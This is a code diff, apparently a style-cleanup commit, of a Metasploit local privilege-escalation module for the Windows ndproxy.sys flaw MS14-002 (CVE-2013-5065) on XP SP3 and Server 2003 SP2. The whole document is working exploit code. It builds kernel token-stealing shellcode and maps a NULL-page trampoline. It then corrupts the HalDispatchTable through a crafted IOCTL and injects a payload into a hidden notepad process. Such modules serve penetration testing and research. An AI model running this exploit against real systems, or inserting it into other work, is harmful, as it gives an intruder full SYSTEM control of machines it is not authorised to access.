@@ -15,42 +15,42 @@ class Metasploit3 < Msf::Exploit::Local
15
15
include Msf ::Post ::Windows ::Priv
16
16
include Msf ::Post ::Windows ::Process
17
17
18
- def initialize ( info = { } )
18
+ def initialize ( info = { } )
19
19
super ( update_info ( info , {
20
- 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation' ,
21
- 'Description' => %q{
20
+ 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation' ,
21
+ 'Description' => %q(
22
22
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
23
23
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
24
24
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
25
25
to access an array unsafely, and the value is used to perform a call, leading to a NULL
26
26
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
27
27
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
28
28
work the service "Routing and Remote Access" must be running on the target system.
29
- } ,
30
- 'License' => MSF_LICENSE ,
31
- 'Author' =>
29
+ ) ,
30
+ 'License' => MSF_LICENSE ,
31
+ 'Author' =>
32
32
[
33
33
'Unknown' , # Vulnerability discovery
34
34
'ryujin' , # python PoC
35
35
'Shahin Ramezany' , # C PoC
36
36
'juan vazquez' # MSF module
37
37
] ,
38
- 'Arch' => ARCH_X86 ,
39
- 'Platform' => 'win' ,
40
- 'Payload' =>
38
+ 'Arch' => ARCH_X86 ,
39
+ 'Platform' => 'win' ,
40
+ 'Payload' =>
41
41
{
42
- 'Space' => 4096 ,
42
+ 'Space' => 4096 ,
43
43
'DisableNops' => true
44
44
} ,
45
- 'SessionTypes' => [ 'meterpreter' ] ,
46
- 'DefaultOptions' =>
45
+ 'SessionTypes' => [ 'meterpreter' ] ,
46
+ 'DefaultOptions' =>
47
47
{
48
- 'EXITFUNC' => 'thread' ,
48
+ 'EXITFUNC' => 'thread'
49
49
} ,
50
- 'Targets' =>
50
+ 'Targets' =>
51
51
[
52
- [ 'Automatic' , { } ] ,
53
- [ 'Windows XP SP3' ,
52
+ [ 'Automatic' , { } ] ,
53
+ [ 'Windows XP SP3' ,
54
54
{
55
55
'HaliQuerySystemInfo' => 0x16bba , # Stable over Windows XP SP3 updates
56
56
'_KPROCESS' => "\x44 " , # Offset to _KPROCESS from a _ETHREAD struct
@@ -59,7 +59,7 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
59
59
'_APLINKS' => "\x88 " # Offset to ActiveProcessLinks _EPROCESS struct
60
60
}
61
61
] ,
62
- [ 'Windows Server 2003 SP2' ,
62
+ [ 'Windows Server 2003 SP2' ,
63
63
{
64
64
'HaliQuerySystemInfo' => 0x1fa1e ,
65
65
'_KPROCESS' => "\x38 " ,
@@ -69,40 +69,38 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
69
69
}
70
70
]
71
71
] ,
72
- 'References' =>
72
+ 'References' =>
73
73
[
74
- [ ' CVE' , ' 2013-5065' ] ,
75
- [ ' MSB' , ' MS14-002' ] ,
76
- [ ' OSVDB' , ' 100368' ] ,
77
- [ ' BID' , ' 63971' ] ,
78
- [ ' EDB' , ' 30014' ] ,
79
- [ ' URL' , ' http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ] ,
80
- [ ' URL' , ' http://technet.microsoft.com/en-us/security/advisory/2914486' ] ,
81
- [ ' URL' , ' https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ] ,
82
- [ ' URL' , ' http://www.secniu.com/blog/?p=53' ] ,
83
- [ ' URL' , ' http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ] ,
84
- [ ' URL' , ' http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
74
+ %w( CVE 2013-5065 ) ,
75
+ %w( MSB MS14-002 ) ,
76
+ %w( OSVDB 100368 ) ,
77
+ %w( BID 63971 ) ,
78
+ %w( EDB 30014 ) ,
79
+ %w( URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/ ) ,
80
+ %w( URL http://technet.microsoft.com/en-us/security/advisory/2914486 ) ,
81
+ %w( URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp ) ,
82
+ %w( URL http://www.secniu.com/blog/?p=53 ) ,
83
+ %w( URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html ) ,
84
+ %w( URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html )
85
85
] ,
86
- 'DisclosureDate' => 'Nov 27 2013' ,
87
- 'DefaultTarget' => 0
86
+ 'DisclosureDate' => 'Nov 27 2013' ,
87
+ 'DefaultTarget' => 0
88
88
} ) )
89
89
end
90
90
91
91
def ring0_shellcode ( t )
92
92
restore_ptrs = "\x31 \xc0 " # xor eax, eax
93
- restore_ptrs << "\xb8 " + [ @addresses [ " HaliQuerySystemInfo" ] ] . pack ( "L" ) # mov eax, offset hal!HaliQuerySystemInformation
94
- restore_ptrs << "\xa3 " + [ @addresses [ " halDispatchTable" ] + 4 ] . pack ( "L" ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
93
+ restore_ptrs << "\xb8 " + [ @addresses [ ' HaliQuerySystemInfo' ] ] . pack ( 'L' ) # mov eax, offset hal!HaliQuerySystemInformation
94
+ restore_ptrs << "\xa3 " + [ @addresses [ ' halDispatchTable' ] + 4 ] . pack ( 'L' ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
95
95
96
96
ring0_shellcode = restore_ptrs + token_stealing_shellcode ( t )
97
- return ring0_shellcode
97
+ ring0_shellcode
98
98
end
99
99
100
100
def fill_memory ( proc , address , length , content )
101
-
102
- result = session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ address ] . pack ( "L" ) , nil , [ length ] . pack ( "L" ) , "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN" , "PAGE_EXECUTE_READWRITE" )
103
-
101
+ session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ address ] . pack ( 'L' ) , nil , [ length ] . pack ( 'L' ) , 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN' , 'PAGE_EXECUTE_READWRITE' )
104
102
unless proc . memory . writable? ( address )
105
- vprint_error ( " Failed to allocate memory" )
103
+ vprint_error ( ' Failed to allocate memory' )
106
104
return nil
107
105
end
108
106
@@ -111,66 +109,65 @@ def fill_memory(proc, address, length, content)
111
109
result = proc . memory . write ( address , content )
112
110
113
111
if result . nil?
114
- vprint_error ( " Failed to write contents to memory" )
112
+ vprint_error ( ' Failed to write contents to memory' )
115
113
return nil
116
114
else
117
115
vprint_good ( "Contents successfully written to 0x#{ address . to_s ( 16 ) } " )
118
116
end
119
117
120
- return address
118
+ address
121
119
end
122
120
123
121
def create_proc
124
122
windir = session . sys . config . getenv ( 'windir' )
125
123
cmd = "#{ windir } \\ System32\\ notepad.exe"
126
124
# run hidden
127
125
begin
128
- proc = session . sys . process . execute ( cmd , nil , { 'Hidden' => true } )
126
+ proc = session . sys . process . execute ( cmd , nil , 'Hidden' => true )
129
127
rescue Rex ::Post ::Meterpreter ::RequestError
130
128
# when running from the Adobe Reader sandbox:
131
129
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
132
130
return nil
133
131
end
134
132
135
- return proc . pid
133
+ proc . pid
136
134
end
137
135
138
136
def disclose_addresses ( t )
139
137
addresses = { }
140
138
141
139
hal_dispatch_table = find_haldispatchtable
142
140
return nil if hal_dispatch_table . nil?
143
- addresses [ " halDispatchTable" ] = hal_dispatch_table
144
- vprint_good ( "HalDispatchTable found at 0x#{ addresses [ " halDispatchTable" ] . to_s ( 16 ) } " )
141
+ addresses [ ' halDispatchTable' ] = hal_dispatch_table
142
+ vprint_good ( "HalDispatchTable found at 0x#{ addresses [ ' halDispatchTable' ] . to_s ( 16 ) } " )
145
143
146
- vprint_status ( " Getting the hal.dll Base Address..." )
147
- hal_info = find_sys_base ( " hal.dll" )
144
+ vprint_status ( ' Getting the hal.dll Base Address...' )
145
+ hal_info = find_sys_base ( ' hal.dll' )
148
146
if hal_info . nil?
149
- vprint_error ( " Failed to disclose hal.dll Base Address" )
147
+ vprint_error ( ' Failed to disclose hal.dll Base Address' )
150
148
return nil
151
149
end
152
150
hal_base = hal_info [ 0 ]
153
151
vprint_good ( "hal.dll Base Address disclosed at 0x#{ hal_base . to_s ( 16 ) } " )
154
152
155
153
hali_query_system_information = hal_base + t [ 'HaliQuerySystemInfo' ]
156
- addresses [ " HaliQuerySystemInfo" ] = hali_query_system_information
154
+ addresses [ ' HaliQuerySystemInfo' ] = hali_query_system_information
157
155
158
- vprint_good ( "HaliQuerySystemInfo Address disclosed at 0x#{ addresses [ " HaliQuerySystemInfo" ] . to_s ( 16 ) } " )
159
- return addresses
156
+ vprint_good ( "HaliQuerySystemInfo Address disclosed at 0x#{ addresses [ ' HaliQuerySystemInfo' ] . to_s ( 16 ) } " )
157
+ addresses
160
158
end
161
159
162
160
def check
163
- if sysinfo [ " Architecture" ] =~ /wow64/i or sysinfo [ " Architecture" ] =~ /x64/
161
+ if sysinfo [ ' Architecture' ] =~ /wow64/i || sysinfo [ ' Architecture' ] =~ /x64/
164
162
return Exploit ::CheckCode ::Detected
165
163
end
166
164
167
- handle = open_device ( "\\ \\ .\\ NDProxy" , 0x0 , 0x0 , 0x3 )
168
- if handle . nil?
169
- return Exploit ::CheckCode ::Safe
170
- end
165
+ handle = open_device ( '\\\\.\\NDProxy' , 0x0 , 0x0 , 0x3 )
166
+ return Exploit ::CheckCode ::Safe if handle . nil?
167
+
171
168
session . railgun . kernel32 . CloseHandle ( handle )
172
169
173
- os = sysinfo [ "OS" ]
170
+ os = sysinfo [ 'OS' ]
174
171
case os
175
172
when /windows xp.*service pack 3/i
176
173
return Exploit ::CheckCode ::Appears
@@ -183,27 +180,26 @@ def check
183
180
else
184
181
return Exploit ::CheckCode ::Safe
185
182
end
186
-
187
183
end
188
184
189
185
def exploit
190
- if sysinfo [ " Architecture" ] =~ /wow64/i
191
- fail_with ( Failure ::NoTarget , " Running against WOW64 is not supported" )
192
- elsif sysinfo [ " Architecture" ] =~ /x64/
193
- fail_with ( Failure ::NoTarget , " Running against 64-bit systems is not supported" )
186
+ if sysinfo [ ' Architecture' ] =~ /wow64/i
187
+ fail_with ( Failure ::NoTarget , ' Running against WOW64 is not supported' )
188
+ elsif sysinfo [ ' Architecture' ] =~ /x64/
189
+ fail_with ( Failure ::NoTarget , ' Running against 64-bit systems is not supported' )
194
190
end
195
191
196
192
my_target = nil
197
193
if target . name =~ /Automatic/
198
- print_status ( " Detecting the target system..." )
199
- os = sysinfo [ "OS" ]
194
+ print_status ( ' Detecting the target system...' )
195
+ os = sysinfo [ 'OS' ]
200
196
if os =~ /windows xp.*service pack 3/i
201
197
my_target = targets [ 1 ]
202
198
print_status ( "Running against #{ my_target . name } " )
203
- elsif ( ( os =~ /2003/ ) and ( os =~ /service pack 2/i ) )
199
+ elsif ( os =~ /2003/ ) && ( os =~ /service pack 2/i )
204
200
my_target = targets [ 2 ]
205
201
print_status ( "Running against #{ my_target . name } " )
206
- elsif ( ( os =~ /\. net server/i ) and ( os =~ /service pack 2/i ) )
202
+ elsif ( os =~ /\. net server/i ) && ( os =~ /service pack 2/i )
207
203
my_target = targets [ 2 ]
208
204
print_status ( "Running against #{ my_target . name } " )
209
205
end
@@ -212,96 +208,95 @@ def exploit
212
208
end
213
209
214
210
if my_target . nil?
215
- fail_with ( Failure ::NoTarget , " Remote system not detected as target, select the target manually" )
211
+ fail_with ( Failure ::NoTarget , ' Remote system not detected as target, select the target manually' )
216
212
end
217
213
218
- print_status ( " Checking device..." )
219
- handle = open_device ( " \\ \\ .\\ NDProxy" , 0x0 , 0x0 , 0x3 )
214
+ print_status ( ' Checking device...' )
215
+ handle = open_device ( ' \\\\.\\NDProxy' , 0x0 , 0x0 , 0x3 )
220
216
if handle . nil?
221
- fail_with ( Failure ::NoTarget , " \\ \\ .\\ NDProxy device not found" )
217
+ fail_with ( Failure ::NoTarget , ' \\\\.\\NDProxy device not found' )
222
218
else
223
- print_good ( " \\ \\ .\\ NDProxy found!" )
219
+ print_good ( ' \\\\.\\NDProxy found!' )
224
220
end
225
221
226
- print_status ( " Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses..." )
222
+ print_status ( ' Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...' )
227
223
@addresses = disclose_addresses ( my_target )
228
224
if @addresses . nil?
229
225
session . railgun . kernel32 . CloseHandle ( handle )
230
- fail_with ( Failure ::Unknown , "Filed to disclose necessary addresses for exploitation. Aborting." )
226
+ fail_with ( Failure ::Unknown , 'Failed to disclose necessary addresses for exploitation, aborting.' )
231
227
else
232
- print_good ( " Addresses successfully disclosed." )
228
+ print_good ( ' Addresses successfully disclosed.' )
233
229
end
234
230
235
-
236
- print_status ( "Storing the kernel stager on memory..." )
231
+ print_status ( 'Storing the kernel stager in memory...' )
237
232
this_proc = session . sys . process . open
238
233
kernel_shell = ring0_shellcode ( my_target )
239
234
kernel_shell_address = 0x1000
240
235
result = fill_memory ( this_proc , kernel_shell_address , kernel_shell . length , kernel_shell )
241
236
if result . nil?
242
237
session . railgun . kernel32 . CloseHandle ( handle )
243
- fail_with ( Failure ::Unknown , " Error while storing the kernel stager shellcode on memory" )
238
+ fail_with ( Failure ::Unknown , ' Error while storing the kernel stager shellcode on memory' )
244
239
else
245
240
print_good ( "Kernel stager successfully stored at 0x#{ kernel_shell_address . to_s ( 16 ) } " )
246
241
end
247
242
248
- print_status ( " Storing the trampoline to the kernel stager on memory..." )
243
+ print_status ( ' Storing the trampoline to the kernel stager on memory...' )
249
244
trampoline = "\x90 " * 0x38 # nops
250
245
trampoline << "\x68 " # push opcode
251
- trampoline << [ 0x1000 ] . pack ( "V" ) # address to push
246
+ trampoline << [ 0x1000 ] . pack ( 'V' ) # address to push
252
247
trampoline << "\xc3 " # ret
253
248
trampoline_addr = 0x1
254
249
result = fill_memory ( this_proc , trampoline_addr , trampoline . length , trampoline )
255
250
if result . nil?
256
251
session . railgun . kernel32 . CloseHandle ( handle )
257
- fail_with ( Failure ::Unknown , " Error while storing trampoline on memory" )
252
+ fail_with ( Failure ::Unknown , ' Error while storing trampoline on memory' )
258
253
else
259
254
print_good ( "Trampoline successfully stored at 0x#{ trampoline_addr . to_s ( 16 ) } " )
260
255
end
261
256
262
- print_status ( " Storing the IO Control buffer on memory..." )
257
+ print_status ( ' Storing the IO Control buffer on memory...' )
263
258
buffer = "\x00 " * 1024
264
- buffer [ 20 , 4 ] = [ 0x7030125 ] . pack ( "V" ) # In order to trigger the vulnerable call
265
- buffer [ 28 , 4 ] = [ 0x34 ] . pack ( "V" ) # In order to trigger the vulnerable call
259
+ buffer [ 20 , 4 ] = [ 0x7030125 ] . pack ( 'V' ) # In order to trigger the vulnerable call
260
+ buffer [ 28 , 4 ] = [ 0x34 ] . pack ( 'V' ) # In order to trigger the vulnerable call
266
261
buffer_addr = 0x0d0d0000
267
262
result = fill_memory ( this_proc , buffer_addr , buffer . length , buffer )
268
263
if result . nil?
269
264
session . railgun . kernel32 . CloseHandle ( handle )
270
- fail_with ( Failure ::Unknown , " Error while storing the IO Control buffer on memory" )
265
+ fail_with ( Failure ::Unknown , ' Error while storing the IO Control buffer on memory' )
271
266
else
272
267
print_good ( "IO Control buffer successfully stored at 0x#{ buffer_addr . to_s ( 16 ) } " )
273
268
end
274
269
275
- print_status ( " Triggering the vulnerability, corrupting the HalDispatchTable..." )
270
+ print_status ( ' Triggering the vulnerability, corrupting the HalDispatchTable...' )
276
271
magic_ioctl = 0x8fff23c8
277
272
# Values taken from the exploit in the wild, see references
278
- ioctl = session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , magic_ioctl , buffer_addr , buffer . length , buffer_addr , 0x80 )
273
+ session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , magic_ioctl , buffer_addr , buffer . length , buffer_addr , 0x80 )
279
274
280
275
session . railgun . kernel32 . CloseHandle ( handle )
281
276
282
- print_status ( " Executing the Kernel Stager throw NtQueryIntervalProfile()..." )
283
- result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
277
+ print_status ( ' Executing the Kernel Stager throw NtQueryIntervalProfile()...' )
278
+ session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
284
279
285
- print_status ( " Checking privileges after exploitation..." )
280
+ print_status ( ' Checking privileges after exploitation...' )
286
281
287
282
unless is_system?
288
- fail_with ( Failure ::Unknown , " The exploitation wasn't successful" )
283
+ fail_with ( Failure ::Unknown , ' The exploitation was not successful' )
289
284
end
290
285
291
286
p = payload . encoded
292
- print_good ( " Exploitation successful! Creating a new process and launching payload..." )
287
+ print_good ( ' Exploitation successful! Creating a new process and launching payload...' )
293
288
new_pid = create_proc
294
289
295
290
if new_pid . nil?
296
- print_warning ( " Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process..." )
291
+ print_warning ( ' Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...' )
297
292
return
298
293
end
299
294
300
- print_status ( "Injecting #{ p . length . to_s } bytes into #{ new_pid } memory and executing it..." )
295
+ print_status ( "Injecting #{ p . length } bytes into #{ new_pid } memory and executing it..." )
301
296
if execute_shellcode ( p , nil , new_pid )
302
- print_good ( " Enjoy" )
297
+ print_good ( ' Enjoy' )
303
298
else
304
- fail_with ( Failure ::Unknown , " Error while executing the payload" )
299
+ fail_with ( Failure ::Unknown , ' Error while executing the payload' )
305
300
end
306
301
end
307
302
end
0 commit comments